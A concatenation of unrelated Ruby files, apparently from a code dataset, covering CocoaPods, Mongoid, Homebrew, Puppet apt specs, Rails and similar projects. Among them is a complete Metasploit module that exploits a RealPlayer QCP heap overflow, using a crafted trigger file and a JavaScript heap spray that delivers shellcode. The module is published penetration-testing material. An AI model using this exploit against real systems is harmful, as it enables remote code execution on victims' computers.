'PODS' => generate_pods_data(specs),
'DEPENDENCIES' => generate_dependencies_data(podfile),
'SPEC REPOS' => generate_spec_repos(spec_repos),
'EXTERNAL SOURCES' => generate_external_sources_data(podfile),
'CHECKOUT OPTIONS' => checkout_options,
'SPEC CHECKSUMS' => generate_checksums(specs),
'PODFILE CHECKSUM' => podfile.checksum,
'COCOAPODS' => CORE_VERSION,
'FROZENPODS' => frozen_pods,
}
Lockfile.new(hash)
end
end
end
end | 27.742857 | 97 | 0.604531 |
6148da79b056be13fb635236ccbf01449951a601 | 868 | #!/usr/bin/env ruby
# -*- encoding: us-ascii -*-
desc "catalog ARCHIVE [TO]", "Set file modification dates for archived files, based on catalog"
option "catalog", :aliases=>'-c', :type=>'string', :desc=>"Location of the catalog listing"
option 'dryrun', :aliases=>'-d', :type=>'boolean', :desc=>"Perform a dry run. Do not actually set dates"
option "force", :aliases=>'-f', :type=>'boolean', :desc=>"Overwrite existing files"
option 'quiet', :aliases=>'-q', :type=>'boolean', :desc=>"Quiet mode; do not echo filenames as they are modified"
option 'remove', :aliases=>'-r', :type=>'boolean', :desc=>"Remove any files which are not in the catalog"
def catalog(at, to=nil)
check_for_unknown_options(at, to)
stop "!Missing --catalog" unless options[:catalog]
Archive.catalog(at, to, options)
rescue Bun::Archive::FileOverwriteError => e
stop "!#{e}"
end | 54.25 | 115 | 0.682028 |
1c06e418ee871c191f436d63ce5fba1f50a389cc | 1,173 | # encoding: utf-8
module Mongoid #:nodoc:
module Fields #:nodoc:
module Serializable #:nodoc:
# Defines the behaviour for range fields.
class Range
include Serializable
# Deserialize this field from the type stored in MongoDB to the type
# defined on the model.
#
# @example Deserialize the field.
# field.deserialize(object)
#
# @param [ Object ] object The object to cast.
#
# @return [ Range ] The converted range.
#
# @since 2.1.0
def deserialize(object)
object.nil? ? nil : ::Range.new(object["min"], object["max"])
end
# Serialize the object from the type defined in the model to a MongoDB
# compatible object to store.
#
# @example Serialize the field.
# field.serialize(object)
#
# @param [ Object ] object The object to cast.
#
# @return [ Hash ] The converted hash.
#
# @since 2.1.0
def serialize(object)
object.nil? ? nil : { "min" => object.min, "max" => object.max }
end
end
end
end
end
| 27.27907 | 78 | 0.544757 |
0335ec4c0ed303edc433b52b065a94e2ce373565 | 95 | class MessagePolicy < ApplicationPolicy
def create?
admin? || committee_admin?
end
end
| 15.833333 | 39 | 0.736842 |
1a67b69e15886b95d7f867a48966ce99ae118151 | 1,183 | # coding: utf-8
lib = File.expand_path("../lib", __FILE__)
$LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib)
require 'fastlane/plugin/hours/version'
Gem::Specification.new do |spec|
spec.name = 'fastlane-plugin-hours'
spec.version = Fastlane::Hours::VERSION
spec.author = %q{Rishabh Tayal}
spec.email = %q{[email protected]}
spec.summary = 'Record total time saved by fastlane'
spec.homepage = "https://github.com/RishabhTayal/fastlane-plugin-hours"
spec.license = "MIT"
spec.files = Dir["lib/**/*"] + %w(README.md LICENSE)
spec.test_files = spec.files.grep(%r{^(test|spec|features)/})
spec.require_paths = ['lib']
# Don't add a dependency to fastlane or fastlane_re
# since this would cause a circular dependency
# spec.add_dependency 'your-dependency', '~> 1.0.0'
spec.add_development_dependency 'pry'
spec.add_development_dependency 'bundler'
spec.add_development_dependency 'rspec'
spec.add_development_dependency 'rake'
spec.add_development_dependency 'rubocop'
spec.add_development_dependency 'simplecov'
spec.add_development_dependency 'fastlane', '>= 2.62.1'
end
| 34.794118 | 78 | 0.700761 |
b9ca19f55dd903713f09da643eaac7e2beb17801 | 1,112 | require 'adp/connection'
module Adp
module Product
module Userinfo
class Helper
attr_accessor :connection
attr_accessor :url_map
# @param [Object] conn
# @param [Object] urlmap
def initialize(conn, urlmap = [])
raise ::Adp::Connection::ConnectionException, "Connection error: invalid connection (null)" unless (!conn.nil?)
self.connection = conn
self.url_map = urlmap
@producturl = "https://iat-api.adp.com/core/v1/userinfo"
end
# @return [Object]
def get_user_info
#Checking if we have connection object
raise ::Adp::Connection::ConnectionException, "Connection error: not connected" unless !self.connection.nil?
#Checking if we are connected
raise ::Adp::Connection::ConnectionException, "Connection error: not connected" unless self.connection.is_connected_indicator?
#Now get the adp data using #{@producturl}
data = self.connection.get_adp_data(@producturl)
return data
end
end
end
end
end
| 27.121951 | 136 | 0.632194 |
ffc4cdcd83d30c8f34b40ce4344c8ff611988bae | 4,613 | class Gspell < Formula
desc "Flexible API to implement spellchecking in GTK+ applications"
homepage "https://wiki.gnome.org/Projects/gspell"
url "https://download.gnome.org/sources/gspell/1.2/gspell-1.2.0.tar.xz"
sha256 "6aa550b91e13c0073ec0dfef21b6eef730186912392e11128216b90519a3443f"
bottle do
sha256 "88a7b3cde20ce23873f34319d4528c469318c2653c01fdf0f930fc3f05964fb1" => :sierra
sha256 "5b9bd923f02e86d7579d38c3ee81670d48f666250adcfe0c73384367d12439ce" => :el_capitan
sha256 "ba089c1c7eae12ff14f0de628f46ae08a1f5d484e75bbe3e1e3c8cfdb47e8e85" => :yosemite
end
depends_on "pkg-config" => :build
depends_on "autoconf" => :build
depends_on "automake" => :build
depends_on "libtool" => :build
depends_on "enchant"
depends_on "gtk+3"
depends_on "gtk-mac-integration"
depends_on "iso-codes"
depends_on "vala" => :recommended
# ensures compilation on Mac OS X
# submitted upstream as https://bugzilla.gnome.org/show_bug.cgi?id=759704
patch :DATA
def install
system "autoreconf", "-i"
system "./configure", "--disable-dependency-tracking",
"--disable-silent-rules",
"--prefix=#{prefix}"
system "make", "install"
end
test do
(testpath/"test.c").write <<-EOS.undent
#include <gspell/gspell.h>
int main(int argc, char *argv[]) {
const GList *list = gspell_language_get_available();
return 0;
}
EOS
atk = Formula["atk"]
cairo = Formula["cairo"]
enchant = Formula["enchant"]
fontconfig = Formula["fontconfig"]
freetype = Formula["freetype"]
gdk_pixbuf = Formula["gdk-pixbuf"]
gettext = Formula["gettext"]
glib = Formula["glib"]
gtkx3 = Formula["gtk+3"]
gtk_mac_integration = Formula["gtk-mac-integration"]
harfbuzz = Formula["harfbuzz"]
libepoxy = Formula["libepoxy"]
libpng = Formula["libpng"]
pango = Formula["pango"]
pixman = Formula["pixman"]
flags = %W[
-I#{atk.opt_include}/atk-1.0
-I#{cairo.opt_include}/cairo
-I#{enchant.opt_include}/enchant
-I#{fontconfig.opt_include}
-I#{freetype.opt_include}/freetype2
-I#{gdk_pixbuf.opt_include}/gdk-pixbuf-2.0
-I#{gettext.opt_include}
-I#{glib.opt_include}/gio-unix-2.0/
-I#{glib.opt_include}/glib-2.0
-I#{glib.opt_lib}/glib-2.0/include
-I#{gtk_mac_integration.opt_include}/gtkmacintegration
-I#{gtkx3.opt_include}/gtk-3.0
-I#{harfbuzz.opt_include}/harfbuzz
-I#{include}/gspell-1
-I#{libepoxy.opt_include}
-I#{libpng.opt_include}/libpng16
-I#{pango.opt_include}/pango-1.0
-I#{pixman.opt_include}/pixman-1
-DMAC_INTEGRATION
-D_REENTRANT
-L#{atk.opt_lib}
-L#{cairo.opt_lib}
-L#{gdk_pixbuf.opt_lib}
-L#{gettext.opt_lib}
-L#{glib.opt_lib}
-L#{gtkx3.opt_lib}
-L#{lib}
-L#{pango.opt_lib}
-latk-1.0
-lcairo
-lcairo-gobject
-lgdk-3
-lgdk_pixbuf-2.0
-lgio-2.0
-lglib-2.0
-lgobject-2.0
-lgspell-1
-lgtk-3
-lintl
-lpango-1.0
-lpangocairo-1.0
]
system ENV.cc, "test.c", "-o", "test", *flags
system "./test"
end
end
__END__
diff --git a/gspell/Makefile.am b/gspell/Makefile.am
index f025b4d..13c9743 100644
--- a/gspell/Makefile.am
+++ b/gspell/Makefile.am
@@ -11,7 +11,8 @@ AM_CPPFLAGS = \
$(WARN_CFLAGS) \
$(CODE_COVERAGE_CPPFLAGS) \
$(DEP_CFLAGS) \
- $(GTK_MAC_CFLAGS)
+ $(GTK_MAC_CFLAGS) \
+ -xobjective-c
BUILT_SOURCES = \
gspell-resources.c
@@ -75,7 +76,13 @@ libgspell_core_la_CFLAGS = \
libgspell_core_la_LDFLAGS = \
-no-undefined \
$(WARN_LDFLAGS) \
- $(CODE_COVERAGE_LDFLAGS)
+ $(CODE_COVERAGE_LDFLAGS) \
+ -framework Cocoa -framework Foundation -framework Cocoa
+
+
+libgspell_core_la_LIBADD = \
+ $(GTK_MAC_LIBS)
+
# The real library.
lib_LTLIBRARIES = libgspell-@[email protected]
@@ -95,7 +102,8 @@ libgspell_@GSPELL_API_VERSION@_la_LDFLAGS = \
-no-undefined \
-export-symbols-regex "^gspell_.*" \
$(WARN_LDFLAGS) \
- $(CODE_COVERAGE_LDFLAGS)
+ $(CODE_COVERAGE_LDFLAGS) \
+ -framework Cocoa -framework Foundation -framework Cocoa
libgspell_includedir = $(includedir)/gspell-@GSPELL_API_VERSION@/gspell
libgspell_include_HEADERS = $(gspell_public_headers)
@@ -108,7 +116,7 @@ CLEANFILES = $(BUILT_SOURCES)
if OS_OSX
libgspell_@GSPELL_API_VERSION@_la_LDFLAGS += \
- -framework Cocoa
+ -framework Cocoa -framework Foundation -framework Cocoa
libgspell_@GSPELL_API_VERSION@_la_CFLAGS += \
-xobjective-c
| 29.570513 | 92 | 0.659007 |
392d99c695b0a1a8bd9fb7a5b71770f22c207449 | 7,578 | ##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info={})
super(update_info(info,
'Name' => "RealNetworks Realplayer QCP Parsing Heap Overflow",
'Description' => %q{
This module exploits a heap overflow in Realplayer when handling a .QCP file.
The specific flaw exists within qcpfformat.dll. A static 256 byte buffer is
allocated on the heap and user-supplied data from the file is copied within a
memory copy loop.
This allows a remote attacker to execute arbitrary code running in the context
of the web browser via a .QCP file with a specially crafted "fmt" chunk.
At this moment this module exploits the flaw on Windows XP IE6, IE7.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Sean de Regge', # Vulnerability discovery
'juan vazquez' # Metasploit module
],
'References' =>
[
['CVE', '2011-2950'],
['OSVDB', '74549'],
['BID', '49172'],
# ZDI advisory
['ZDI', '11-265'],
# Vendor advisory
['URL', 'http://service.real.com/realplayer/security/08162011_player/en/'],
#Fix commit
['URL', 'http://lists.helixcommunity.org/pipermail/datatype-cvs/2011-April/015469.html'],
],
'Payload' =>
{
'Space' => 1024
},
'DefaultOptions' =>
{
'EXITFUNC' => "process",
'InitialAutoRunScript' => 'migrate -f'
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', {} ],
[ 'Internet Explorer 6 on XP SP3', { 'Nops' => "%u1414%u1414" } ],
[ 'Internet Explorer 7 on XP SP3', { 'Nops' => "%u0c0c%u0c0c" } ],
],
'DisclosureDate' => "Aug 16 2011",
'DefaultTarget' => 0))
register_options(
[
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
], self.class)
end
def get_target(cli, request)
#Default target
my_target = target
vprint_status("User-Agent: #{request.headers['User-Agent']}")
if target.name == 'Automatic'
agent = request.headers['User-Agent']
if agent =~ /NT 5\.1/ and agent =~ /MSIE 6\.0/
#Windows XP + IE 6
my_target = targets[1]
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7\.0/
#Windows XP + IE 7.0
my_target = targets[2]
elsif agent =~ /RMA/
#RealPlayer identifies itself as "RMA/1.0 (compatible; RealMedia)"
#when requesting our trigger file
return 'RMA'
else
#If we don't recognize the client, we don't fire the exploit
my_target = nil
end
end
return my_target
end
def exploit
#Set trigger file name
@filename = rand_text_alpha(rand(6) + 3)
#Create the trigger file
@trigger = build_trigger
super
end
def on_request_uri(cli, request)
#Pick the right target
vprint_status("Selecting target...")
my_target = get_target(cli, request)
if my_target.nil?
print_error("Target not supported")
send_not_found(cli)
return
end
vprint_status("URL: #{request.uri.to_s}")
#Send the trigger file upon request
if request.uri.match(/\.qcp$/)
print_status("Sending trigger file")
send_response(cli, @trigger, { 'Content-Type' => 'application/octet-stream' })
return
end
vprint_status("Building shellcode...")
code = Rex::Text.to_unescape(payload.encoded)
vprint_status("Building spray...")
spray = build_spray(my_target, code)
#obfuscate on demand
vprint_status("Obfuscating javascript...")
if datastore['OBFUSCATE']
spray = Rex::Exploitation::JSObfu.new(spray)
spray.obfuscate
end
vprint_status("Building html...")
#Value for the 'Src' parameter of our ActiveX control
trigger_file = ""
if ("/" == get_resource[-1,1])
trigger_file = get_resource[0, get_resource.length - 1]
else
trigger_file = get_resource
end
trigger_file << "/#{@filename}.qcp"
html = <<-EOS
<HTML>
<HEAD>
</HEAD>
<BODY>
<script language='javascript'>
#{spray}
</script>
<OBJECT ID=RVOCX CLASSID="clsid:CFCDAA03-8BE4-11cf-B84B-0020AFBBCCFA" WIDTH=320 HEIGHT=240>
<PARAM NAME="SRC" VALUE="#{trigger_file}">
<PARAM NAME="CONTROLS" VALUE="ImageWindow">
<PARAM NAME="CONSOLE" VALUE="one">
<PARAM NAME="AUTOSTART" VALUE="true">
<EMBED SRC="#{trigger_file}" WIDTH=320 HEIGHT=240 NOJAVA=true CONTROLS=ImageWindow CONSOLE=one AUTOSTART=true>
</OBJECT>
</BODY>
EOS
print_status("Sending #{self.name}")
send_response( cli, html, {'Content-Type' => 'text/html'} )
end
def build_trigger()
overflow_size = 700
overflow_string = "\x11" * 700
#riff_mark
trigger = "\x52\x49\x46\x46"
#total_size
trigger << [0xed44 + overflow_size].pack("V")
#qlcm_tag
trigger << "\x51\x4c\x43\x4d"
#fmt_tag
trigger << "\x66\x6d\x74\x20"
#fmt_size
trigger << [0x96 + overflow_size].pack("V")
#fmt_content
trigger << "\x01\x00\x8d\xd4\x89\xe6\x76\x90"
trigger << "\xb5\x46\x91\xef\x73\x6a\x51\x00"
trigger << "\xce\xb4\x01\x00\x54\x49\x41\x20"
trigger << "\x49\x53\x2d\x31\x32\x37\x20\x45"
trigger << "\x6e\x68\x61\x6e\x63\x65\x64\x20"
trigger << "\x56\x61\x72\x69\x61\x62\x6c\x65"
trigger << "\x20\x52\x61\x74\x65\x20\x43\x6f"
trigger << "\x64\x65\x63\x2c\x20\x53\x70\x65"
trigger << "\x65\x63\x68\x20\x53\x65\x72\x76"
trigger << "\x69\x63\x65\x20\x4f\x70\x74\x69"
trigger << "\x6f\x6e\x20\x33\x20\x00\x00\x00"
trigger << "\x00\x00\x00\x00\x00\x00\x00\x00"
trigger << "\x00\x00\x00\x00\xc8\x32\x16\x00"
trigger << "\xa0\x00\x40\x1f\x10\x00\x05\x00"
trigger << "\x00\x00\x16\x04\x0a\x03\x05\x02"
trigger << "\x02\x01\x00\x00\x00\x00\x00\x00"
trigger << "\x00\x00\x00\x00\x00\x00\x00\x00"
trigger << "\x00\x00\x00\x00\x00\x00\x00\x00"
trigger << "\x00\x00\x00\x00\x00\x00"
trigger << overflow_string
#vrat_tag
trigger << "\x76\x72\x61\x74"
#vrat_size
trigger << [0x8].pack("V")
#vrat_content
trigger << "\x01\x00\x00\x00\x06\x13\x00\x00"
#data_tag
trigger << "\x64\x61\x74\x61"
#data_size
trigger << [0xec8a].pack("V")
#data_content
trigger << rand_text_alpha(0xec8a)
return trigger
end
def build_spray(mytarget, code)
spray = <<-JS
var heap_obj = new heapLib.ie(0x20000);
var code = unescape("#{code}");
var nops = unescape("#{mytarget['Nops']}");
while (nops.length < 0x10000) nops += nops;
offset = nops.substring(0, 0x7BE0);
var shellcode = offset + code + nops.substring(0, 0x8000-offset.length-code.length);
while (shellcode.length < 0x20000) shellcode += shellcode;
block = shellcode.substring(0, (0x10000-6)/2);
heap_obj.gc();
for (var i=0; i < 0x1400; i++) {
heap_obj.alloc(block);
}
JS
spray = heaplib(spray)
return spray
end
end
| 30.930612 | 115 | 0.584191 |
6295583372bc1a775d320b3fee8f6f8b552097c1 | 847 | class SmtpSettings < NotcherSettings::Base
@keys = [
:host, :port, :domain, :user, :password, :authentication,
:enable_starttls_auto, :email_body, :email_subject
]
validates :port, numericality: {only_integer: true, greater_than: 0}, allow_blank: true
validates :domain, format: {with: /\A((?:[-a-z0-9]+\.)+[a-z]{2,})\z/, message: 'bad format'}, allow_blank: true
validate :host_is_legal
private
# host can be either domain-lik or ip-like
def host_is_legal
if host.blank?
return
end
if /[a-z]/i.match host # alphanumeric
test = /\A((?:[-a-z0-9]+\.)+[a-z]{2,})\z/.match host
else # ip address
test = /^(?:(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9]?[0-9])\.){3}(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9]?[0-9])$/.match host
end
errors.add(:host, "bad format") unless test
end
end
| 30.25 | 131 | 0.596222 |
1cdc3af3c300979bde4fe1eb87e6dba219a5881b | 1,423 | require "simplecov"
SimpleCov.start "rails"
ENV["RAILS_ENV"] ||= "test"
require File.expand_path("../config/environment", __dir__)
# Prevent database truncation if the environment is production
abort("The Rails environment is running in production mode!") if Rails.env.production?
require "rails_helper"
require "rspec/rails"
require "capybara/rails"
require "fakefs/spec_helpers"
require "paper_trail/frameworks/rspec"
Dir[Rails.root.join("spec/support/**/*.rb")].sort.each { |f| require f }
Dir[Rails.root.join("spec/features/steps/*.rb")].sort.reverse_each { |f| require f }
Dir[Rails.root.join("spec/features/steps/admin/*.rb")].sort.reverse_each { |f| require f }
Dir[Rails.root.join("spec/features/steps/public/*.rb")].sort.reverse_each { |f| require f }
# Checks for pending migration and applies them before tests are run.
# If you are not using ActiveRecord, you can remove this line.
ActiveRecord::Migration.maintain_test_schema!
RSpec.configure do |config|
config.mock_with :rspec
config.use_transactional_fixtures = true
config.infer_base_class_for_anonymous_controllers = false
config.order = "random"
config.include FactoryBot::Syntax::Methods
config.include FeaturesHelpers, type: :feature
config.include FileCreationHelper
end
def stub_world_location_api
stub_request(:get, "#{Plek.new.website_root}/api/world-locations/united-kingdom")
.to_return(status: 200, body: "{}")
end
| 33.880952 | 91 | 0.763879 |
f86e295986a25a22b7ca62d88273e00fb128cad6 | 6,165 | # frozen_string_literal: true
module Pragma
module Client
# Represents a resource in your API, exposing an interface to retrieve and manipulate the
# instances of that resource.
#
# @abstract Subclass and set {#root_url} and {#base_path} to create a new resource. To avoid
# having to set {#root_url} every time, we recommend creating your own base +Resource+ class
# where you only set {#root_url}, then inherit from that class.
class Resource
include Methods
class << self
# @!attribute [rw] root_url
# @return [String] The API's root URL (e.g. http://example.com/api/v1).
#
# @!attribute [rw] base_path
# @return [String] The resource's base path (e.g. /articles). The default is inferred
# from the name of the class.
#
# @!attribute [rw] page_param
# @return [Symbol|String] The parameter to use to specify the page number. The default
# is +:page+.
#
# @!attribute [rw] per_page_param
# @return [Symbol|String] The parameter to use to specify the number of items per page.
# The default is +:per_page+.
attr_writer :root_url, :base_path, :page_param, :per_page_param
def root_url
@root_url ||= superclass.root_url if superclass.respond_to?(:root_url)
end
def base_path
@base_path ||= "/#{self.class.name.demodulize.underscore.pluralize}"
end
def page_param
@page_param ||= :page
end
def per_page_param
@per_page_param ||= :per_page
end
def associations
@associations ||= {}
end
private
def belongs_to(property)
associations[property.to_sym] = Association.new(self, :belongs_to, property)
end
def has_many(property)
associations[property.to_sym] = Association.new(self, :has_many, property)
end
end
# Initializes the resource, optionally pre-loading data.
#
# Note that the data of the resource is not validated against any schemas, as client's
# don't have access to the schema of the resource.
#
# @param [Hash] data data to preload
def initialize(data = {})
@data = data
end
# Converts the resource to a hsah by returning the data.
#
# @return [Hash] the data
def to_h
@data
end
# Deletes the resource by issuing a +DELETE+ request.
#
# @param [Hash] params any params to pass
# @param [Hash] headers any headers to pass
#
# @return [TrueClass]
def delete(params: {}, headers: {})
self.class.delete(id, params: params, headers: headers)
true
end
# Reloads the resource by issuing a +GET+ request and resetting the data.
#
# @param [Hash] params any params to pass
# @param [Hash] headers any headers to pass
#
# @return [Resource] the resource
def reload(params: {}, headers: {})
@data = self.class.retrieve(id, params: params, headers: headers).to_h
self
end
# Saves the resource.
#
# If the resource has been persisted (which is determined by checking whether the +id+
# property is present), issues a +PATCH+ request to update the existing resource, otherwise
# issues a +POST+ request to create a new instance.
#
# When the request completes, the resource's data will be updated with what is returned by
# the API, so that the ID and any other properties are set.
#
# @param [Hash] params any params to pass
# @param [Hash] headers any headers to pass
#
# @return [Resource] the resource
def save(params: {}, headers: {})
new_resource = if id
self.class.patch(id, @data, params: params, headers: headers)
else
self.class.create(@data, params: params, headers: headers)
end
@data = new_resource.to_h
self
end
# Updates the resource.
#
# First applies the provided diff to the data, then saves the resource by calling {#save}.
#
# @see #save
def update(diff, params: {}, headers: {})
@data = @data.merge(diff)
save(params: params, headers: headers)
self
end
# Handles calls to missing method by treating them as setters when the method ends with an
# equal sign and as getters when the method doesn't.
#
# After the missing method is called, it's also defined so that {#missing_method} is not
# called again, thus improving performance.
#
# Note that this behavior means that a Resource instance will never raise a +NoMethodError+,
# but rather will return +nil+.
#
# @param [Symbol] method the name of the missing method
# @param [Array] args the arguments to pass to the method
#
# @return [Object] what the method returns
def method_missing(method, *args) # rubocop:disable Style/MethodMissing
method_body = if method.to_s.end_with?('=')
proc { |value| @data[method.to_s.delete_suffix('=')] = value }
elsif self.class.associations[method]
proc { loaded_associations[method] ||= self.class.associations[method].load(self) }
else
proc { @data[method.to_s] }
end
self.class.class_eval do
define_method(method, &method_body)
end
send(method, *args, &block)
end
# Returns whether the object responds to the given method.
#
# Since we always respond to missing methods, this always returns +true+.
#
# @param [Symbol] _method the method being checked
# @param [Boolean] _include_private whether to look in private methods
#
# @return [TrueClass]
#
# @see #method_missing
def respond_to_missing?(_method, _include_private = false)
true
end
private
def loaded_associations
@loaded_associations ||= {}
end
end
end
end
| 32.619048 | 98 | 0.607461 |
61347685c184d61e68e7e978715ba99f899f4564 | 9,405 | require 'spec_helper'
describe 'apt::key', type: :define do
let(:facts) do
{
os: { family: 'Debian', name: 'Debian', release: { major: '7', full: '7.0' } },
lsbdistid: 'Debian',
osfamily: 'Debian',
puppetversion: Puppet.version,
}
end
GPG_KEY_ID = '6F6B15509CF8E59E6E469F327F438280EF8D349F'.freeze
let :title do
GPG_KEY_ID
end
let :pre_condition do
'include apt'
end
describe 'normal operation' do
describe 'default options' do
it {
is_expected.to contain_apt_key(title).with(id: title,
ensure: 'present',
source: nil,
server: 'keyserver.ubuntu.com',
content: nil)
}
it 'contains the apt_key present anchor' do
is_expected.to contain_anchor("apt_key #{title} present")
end
end
describe 'title and key =>' do
let :title do
'puppetlabs'
end
let :params do
{
id: GPG_KEY_ID,
}
end
it 'contains the apt_key' do
is_expected.to contain_apt_key(title).with(id: GPG_KEY_ID,
ensure: 'present',
source: nil,
server: 'keyserver.ubuntu.com',
content: nil)
end
it 'contains the apt_key present anchor' do
is_expected.to contain_anchor("apt_key #{GPG_KEY_ID} present")
end
end
describe 'ensure => absent' do
let :params do
{
ensure: 'absent',
}
end
it 'contains the apt_key' do
is_expected.to contain_apt_key(title).with(id: title,
ensure: 'absent',
source: nil,
server: 'keyserver.ubuntu.com',
content: nil)
end
it 'contains the apt_key absent anchor' do
is_expected.to contain_anchor("apt_key #{title} absent")
end
end
describe 'set a bunch of things!' do
let :params do
{
content: 'GPG key content',
source: 'http://apt.puppetlabs.com/pubkey.gpg',
server: 'pgp.mit.edu',
options: 'debug',
}
end
it 'contains the apt_key' do
is_expected.to contain_apt_key(title).with(id: title,
ensure: 'present',
source: 'http://apt.puppetlabs.com/pubkey.gpg',
server: 'pgp.mit.edu',
content: params[:content],
options: 'debug')
end
it 'contains the apt_key present anchor' do
is_expected.to contain_anchor("apt_key #{title} present")
end
end
context 'domain with dash' do
let(:params) do
{
server: 'p-gp.m-it.edu',
}
end
it 'contains the apt_key' do
is_expected.to contain_apt_key(title).with(id: title,
server: 'p-gp.m-it.edu')
end
end
context 'url' do
let :params do
{
server: 'hkp://pgp.mit.edu',
}
end
it 'contains the apt_key' do
is_expected.to contain_apt_key(title).with(id: title,
server: 'hkp://pgp.mit.edu')
end
end
context 'url with port number' do
let :params do
{
server: 'hkp://pgp.mit.edu:80',
}
end
it 'contains the apt_key' do
is_expected.to contain_apt_key(title).with(id: title,
server: 'hkp://pgp.mit.edu:80')
end
end
end
describe 'validation' do
context 'domain begin with dash' do
let(:params) do
{
server: '-pgp.mit.edu',
}
end
it 'fails' do
expect { subject.call } .to raise_error(%r{expects a match})
end
end
context 'domain begin with dot' do
let(:params) do
{
server: '.pgp.mit.edu',
}
end
it 'fails' do
expect { subject.call } .to raise_error(%r{expects a match})
end
end
context 'domain end with dot' do
let(:params) do
{
server: 'pgp.mit.edu.',
}
end
it 'fails' do
expect { subject.call } .to raise_error(%r{expects a match})
end
end
context 'exceed character url' do
let :params do
{
server: 'hkp://pgpiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiii.mit.edu',
}
end
it 'fails' do
expect { subject.call }.to raise_error(%r{expects a match})
end
end
context 'incorrect port number url' do
let :params do
{
server: 'hkp://pgp.mit.edu:8008080',
}
end
it 'fails' do
expect { subject.call }.to raise_error(%r{expects a match})
end
end
context 'incorrect protocol for url' do
let :params do
{
server: 'abc://pgp.mit.edu:80',
}
end
it 'fails' do
expect { subject.call }.to raise_error(%r{expects a match})
end
end
context 'missing port number url' do
let :params do
{
server: 'hkp://pgp.mit.edu:',
}
end
it 'fails' do
expect { subject.call }.to raise_error(%r{expects a match})
end
end
context 'url ending with a dot' do
let :params do
{
server: 'hkp://pgp.mit.edu.',
}
end
it 'fails' do
expect { subject.call }.to raise_error(%r{expects a match})
end
end
context 'url begin with a dash' do
let(:params) do
{
server: 'hkp://-pgp.mit.edu',
}
end
it 'fails' do
expect { subject.call }.to raise_error(%r{expects a match})
end
end
context 'invalid key' do
let :title do
'Out of rum. Why? Why are we out of rum?'
end
it 'fails' do
expect { subject.call }.to raise_error(%r{expects a match})
end
end
context 'invalid source' do
let :params do
{
source: 'afp://puppetlabs.com/key.gpg',
}
end
it 'fails' do
expect { subject.call }.to raise_error(%r{expects a match})
end
end
context 'invalid content' do
let :params do
{
content: [],
}
end
it 'fails' do
expect { subject.call }.to raise_error(%r{expects a})
end
end
context 'invalid server' do
let :params do
{
server: 'two bottles of rum',
}
end
it 'fails' do
expect { subject.call }.to raise_error(%r{expects a match})
end
end
context 'invalid keyserver_options' do
let :params do
{
options: {},
}
end
it 'fails' do
expect { subject.call }.to raise_error(%r{expects a})
end
end
context 'invalid ensure' do
let :params do
{
ensure: 'foo',
}
end
it 'fails' do
expect { subject.call }.to raise_error(%r{Enum\['absent', 'present'\]})
end
end
describe 'duplication' do
context 'two apt::key resources for same key, different titles' do
let :pre_condition do
"#{super()}\napt::key { 'duplicate': id => '#{title}', }"
end
it 'contains the duplicate apt::key resource' do
is_expected.to contain_apt__key('duplicate').with(id: title,
ensure: 'present')
end
it 'contains the original apt::key resource' do
is_expected.to contain_apt__key(title).with(id: title,
ensure: 'present')
end
it 'contains the native apt_key' do
is_expected.to contain_apt_key('duplicate').with(id: title,
ensure: 'present',
source: nil,
server: 'keyserver.ubuntu.com',
content: nil,
keyserver_options: nil)
end
it 'does not contain the original apt_key' do
is_expected.not_to contain_apt_key(title)
end
end
context 'two apt::key resources, different ensure' do
let :pre_condition do
"#{super()}\napt::key { 'duplicate': id => '#{title}', ensure => 'absent', }"
end
it 'informs the user of the impossibility' do
expect { subject.call }.to raise_error(%r{already ensured as absent})
end
end
end
end
end
| 26.567797 | 105 | 0.472727 |
26771d3ab1b99b1e173a49b4f383e66f60d97f1f | 2,063 | require 'rubygems'
spec = Gem::Specification.new do |s|
s.name = 'trapeze'
s.version = '0.1.17'
s.author = 'Nils Jonsson'
s.email = '[email protected]'
s.homepage = 'http://trapeze.rubyforge.org/'
s.summary = 'Generates a suite of unit tests or specifications for ' +
'existing Ruby source code.'
s.description = 'This RubyGem generates a suite of unit tests or ' +
'specifications for existing Ruby source code.' +
"\n\n" +
'Trapeze does this through dynamic analysis, by reflecting ' +
'on the public interfaces of classes and modules (as well ' +
'as top-level methods) defined in the source. Trapeze then ' +
'calls each public method, stubbing the behavior of ' +
'arguments, and recording all the stubbed behavior for use ' +
'in generating mock objects. This recorded behavior is ' +
'used to generate a test/specification suite that can be ' +
'rendered as Test::Unit test cases or other TDD/BDD ' +
'libraries.' +
"\n\n" +
'There is a suite renderer for Test::Unit. RSpec and Jay ' +
"Fields's Expectations may be supported at some point."
s.files = Dir.glob('{bin,lib,test}/**/*') + %w(Rakefile MIT-LICENSE README)
s.requirements << 'Mocha v0.5.6 or later'
s.add_dependency 'mocha', '~> 0.5.6'
s.has_rdoc = true
s.extra_rdoc_files = %w(MIT-LICENSE README bin/trp)
s.rubyforge_project = 'trapeze'
s.executables = %w(trp)
s.rdoc_options = %w(--title Trapeze
--main README
--line-numbers
--inline-source)
end
| 51.575 | 80 | 0.49491 |
03f917536503c2cd3069df3eff515b7adbb2e4f6 | 602 | xml.tag!("oub:quota.balance.event") do |quota_balance_event|
xml_data_item_v2(quota_balance_event, "quota.definition.sid", self.quota_definition_sid)
xml_data_item_v2(quota_balance_event, "occurrence.timestamp", timestamp_value(self.occurrence_timestamp))
xml_data_item_v2(quota_balance_event, "old.balance", self.old_balance)
xml_data_item_v2(quota_balance_event, "new.balance", self.new_balance)
xml_data_item_v2(quota_balance_event, "imported.amount", self.imported_amount)
xml_data_item_v2(quota_balance_event, "last.import.date.in.allocation", self.last_import_date_in_allocation)
end
| 66.888889 | 110 | 0.835548 |
7a691e50fff594028f8197dd4279c4b9804fc0bf | 1,071 | class EntriesController < ApplicationController
before_action :authenticate_user!
def index
@entries = Entry.all.order("created_at DESC")
respond_to do |f|
